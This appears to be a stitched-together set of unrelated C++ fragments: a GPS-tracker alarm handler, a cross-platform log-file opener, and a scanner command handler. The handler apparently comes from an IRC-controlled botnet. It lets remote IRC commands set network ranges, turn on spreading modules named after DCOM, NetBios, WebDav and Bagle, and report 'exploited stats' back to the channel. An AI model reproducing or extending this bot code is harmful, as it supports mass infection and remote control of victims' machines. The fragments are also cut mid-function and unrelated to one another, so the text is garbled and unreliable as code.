sprintf(ppC.EquimentId,"%s",sasasa); ppC.iCOmmandID=4; CString saasa="请件速"; sprintf(ppC.Param,"%s",saasa); this->SendTQGPSCommand(info.szKeyId,&ppC); } break; } } g_SpeedAlarmLock.Unlock(); } else { _GTQLog("不合法的数据"); return FALSE; } return TRUE; }
//PRIVATE: Open the file with the correct name bool CLog::open(bool bWchar) { if(!canWeTryToOpen()) { incrementOpenFailed(); return false; } #ifdef WIN32 WaitForSingleObject(LogMutex, INFINITE); #else m_mutex.Lock(); #endif if(m_f) //Should not happend { close(); throw CMWEXCEPTION(EIDMW_ERR_UNKNOWN); } #ifndef WIN32 m_flock.l_type = F_WRLCK; /* F_RDLCK, F_WRLCK, F_UNLCK */ m_flock.l_whence = SEEK_SET; /* SEEK_SET, SEEK_CUR, SEEK_END */ m_flock.l_start = 0; /* Offset from l_whence */ m_flock.l_len = 0; /* length, 0 = to EOF */ m_flock.l_pid = getpid(); /* our PID */ #endif int err=0; std::wstring filename; int iLoop=0; do //If the file is locked by another process, we wait { getFilename(filename); //We get the file name in the loop because other process may rename the files #ifdef WIN32 if(bWchar) err = _wfopen_s(&m_f,filename.c_str(),L"a, ccs=UTF-8"); else err = fopen_s(&m_f,utilStringNarrow(filename).c_str(),"a"); #else m_f = fopen(utilStringNarrow(filename).c_str(),"a, ccs=UTF-8"); if (m_f == NULL) err=errno; #endif if (err != 0 && err != EACCES) m_f=NULL; if(err==EACCES) CThread::SleepMillisecs(20); iLoop++; } while(err==EACCES && iLoop<100); #ifndef WIN32 // on Linux/Mac we set an advisory lock, i.e. it prevents // other processes from using the file only if they are collaborative // and check for the lock, otherwise they can do whatever they like .. if(m_f!=NULL) { if( fcntl(fileno(m_f), F_SETLK, &m_flock) == -1) /* set the lock */ { fclose(m_f); m_f=NULL; } } #endif if(!m_f) { #ifdef WIN32 ReleaseMutex(LogMutex); #else m_mutex.Unlock(); #endif incrementOpenFailed(); return false; } resetOpenFailed(); return true; }
void MyUnlock() { g_Mutex.Unlock(); }
bool CScanner::HandleCommand(CMessage *pMsg) { CNetRange nRange; g_mScanner.Lock(); if(!pMsg->sCmd.Compare("scan.addnetrange")) { CString sNetRange=pMsg->sChatString.Token(1, " "); CString sPriority=pMsg->sChatString.Token(2, " "); nRange.iPriority=atoi(sPriority.CStr()); nRange.pScanner=this; nRange.sReplyTo=pMsg->sReplyTo; nRange.bNotice=pMsg->bNotice; nRange.bSilent=pMsg->bSilent; if(ParseNetRange(sNetRange, nRange)) m_cPortScanner.RegisterNetRange(&nRange); } else if(!pMsg->sCmd.Compare("scan.delnetrange")) { CString sNetRange=pMsg->sChatString.Token(1, " "); if(ParseNetRange(sNetRange, nRange)) m_cPortScanner.RemoveNetRange(&nRange); } else if(!pMsg->sCmd.Compare("scan.resetnetranges")) { m_cPortScanner.m_lNetRanges.clear(); m_cPortScanner.AddLocalLAN(); } else if(!pMsg->sCmd.Compare("scan.listnetranges")) { g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "-[ netrange list ]-", pMsg->sReplyTo.Str()); list<CNetRange>::iterator i; int iCount=0; for(i=m_cPortScanner.m_lNetRanges.begin(); i!=m_cPortScanner.m_lNetRanges.end(); i++) { iCount++; g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo, "%d. mask: %d.%d.%d.%d/%d prio: %d", iCount, (*i).iPart1, (*i).iPart2, (*i).iPart3, (*i).iPart4, (*i).iNetMask, (*i).iPriority); Sleep(1500); } } else if(!pMsg->sCmd.Compare("scan.clearnetranges")) m_cPortScanner.m_lNetRanges.clear(); else if(!pMsg->sCmd.Compare("scan.enable")) m_cPortScanner.EnableScanner(pMsg->sChatString.Token(1, " ").CStr()); else if(!pMsg->sCmd.Compare("scan.disable")) m_cPortScanner.DisableScanner(pMsg->sChatString.Token(1, " ").CStr()); else if(!pMsg->sCmd.Compare("scan.start")) m_bScanning=true; else if(!pMsg->sCmd.Compare("scan.stop")) m_bScanning=false; //just change it back if you disagree. else if(!pMsg->sCmd.Compare("scan.startall")) { m_cPortScanner.EnableScanner("NetBios"); m_cPortScanner.EnableScanner("DCOM"); m_cPortScanner.EnableScanner("Doom"); m_cPortScanner.EnableScanner("DW"); m_cPortScanner.EnableScanner("WKS"); m_cPortScanner.EnableScanner("Bagle"); m_cPortScanner.EnableScanner("WebDav"); m_bScanning=true; } else if(!pMsg->sCmd.Compare("scan.stopall")) { m_cPortScanner.DisableScanner("NetBios"); m_cPortScanner.DisableScanner("DCOM"); m_cPortScanner.DisableScanner("Doom"); m_cPortScanner.DisableScanner("DW"); m_cPortScanner.DisableScanner("WKS"); m_cPortScanner.DisableScanner("Bagle"); m_cPortScanner.DisableScanner("WebDav"); m_bScanning=false; } else if(!pMsg->sCmd.Compare("scan.stats")) { CString sStatsBuf("exploited stats:"); for(int i=0; i<sizeof(g_iScanners); i++) { ScannerInfo *pTemp=&g_iScanners[i]; if(pTemp->pAllocator==NULL || pTemp->szScannerName==NULL || pTemp->sPort==0) break; CString sTempBuf; sTempBuf.Format(" %s(%d): %d", pTemp->szScannerName, pTemp->sPort, *pTemp->pScanStats); sStatsBuf.Append(sTempBuf); } g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sStatsBuf.Str(), pMsg->sReplyTo.Str()); } g_mScanner.Unlock(); return true; }